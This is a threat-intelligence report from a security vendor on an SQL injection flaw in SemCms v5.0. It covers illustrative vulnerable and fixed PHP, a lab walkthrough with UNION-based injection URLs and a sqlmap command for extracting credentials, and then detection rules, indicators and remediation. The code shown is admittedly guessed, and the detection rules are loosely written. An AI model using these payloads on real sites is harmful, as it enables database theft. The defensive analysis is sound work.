CVE-2025-51659

Executive Summary

CVE-2025-51659 is a critical SQL injection vulnerability discovered in SemCms v5.0, specifically within the SEMCMS_Products.php file. The flaw resides in the ID parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains high due to the ease of exploitation.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated SQL injection in a web application), a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service via destructive queries.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete compromise of the application's database.

Deep Dive & Mechanics

The vulnerability exists in SEMCMS_Products.php. The ID parameter is likely used in a SQL query without proper sanitization or parameterization. For example, the code might look like:

$id = $_GET['ID'];
$query = "SELECT * FROM products WHERE id = $id";

An attacker can manipulate the ID parameter to break out of the intended SQL syntax. For instance, a payload like:

1 UNION SELECT username, password FROM users

would return user credentials alongside product data. The lack of input validation and prepared statements makes this a classic SQL injection.

Vulnerable vs. Patched Code

Vulnerable Code (SemCms v5.0):

<?php
$id = $_GET['ID'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$id = intval($_GET['ID']);
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses intval() to ensure the input is an integer and employs prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install SemCms v5.0 on a local web server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/semcms/.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://localhost/semcms/SEMCMS_Products.php?ID=1.
2. Test for SQL injection by appending a single quote: http://localhost/semcms/SEMCMS_Products.php?ID=1'. If an error occurs, the endpoint is vulnerable.
3. Use a UNION-based injection to extract data. Example:

   http://localhost/semcms/SEMCMS_Products.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

4. Enumerate database tables and columns. For MySQL:

   http://localhost/semcms/SEMCMS_Products.php?ID=1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--
   

5. Extract user credentials:

   http://localhost/semcms/SEMCMS_Products.php?ID=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users--
   

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://localhost/semcms/SEMCMS_Products.php?ID=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL characters in the ID parameter (e.g., ', UNION, SELECT, --).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use intrusion detection systems (IDS) with signatures for SQL injection.

Mitigation:

• Immediately upgrade to a patched version if available.
• If no patch exists, implement input validation and parameterized queries in the application code.
• Restrict database user privileges to limit the impact of a successful injection.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to SEMCMS_Products.php with ID parameter containing SQL keywords (e.g., UNION, SELECT, ').
  • Unusual response sizes or database error messages in HTTP responses.

• File IOCs:

  • Modified SEMCMS_Products.php file (if attacker uploads a web shell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).

• Database IOCs:

  • Unexpected rows in database tables (e.g., new admin users).
  • Queries in database logs that contain UNION or INTO OUTFILE.

Detection Engineering

YARA Rule

rule CVE_2025_51659_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-51659 in SemCms"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51659"
    strings:
        $s1 = "SEMCMS_Products.php" nocase
        $s2 = "ID=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "'" 
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt on SEMCMS_Products.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-51659
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "SEMCMS_Products.php?ID="
            - "UNION"
            - "SELECT"
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a product name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51659 SQL Injection Attempt"; flow:to_server,established; content:"SEMCMS_Products.php"; http_uri; content:"ID="; http_uri; pcre:"/(UNION|SELECT|'|--)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable SEMCMS_Products.php endpoint if not critical.
   • Implement a Web Application Firewall (WAF) with SQL injection rules.
   • Monitor logs for exploitation attempts.

2. Long-term Fixes:

   • Apply input validation: ensure the ID parameter is an integer.
   • Use prepared statements with parameterized queries.
   • Update to a patched version of SemCms if released.
   • Conduct a security audit of the entire application.

3. Compromise Assessment:

   • Check database logs for unauthorized queries.
   • Review web server logs for suspicious requests.
   • Scan for web shells or backdoors.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For further assistance, contact support@valtersit.com.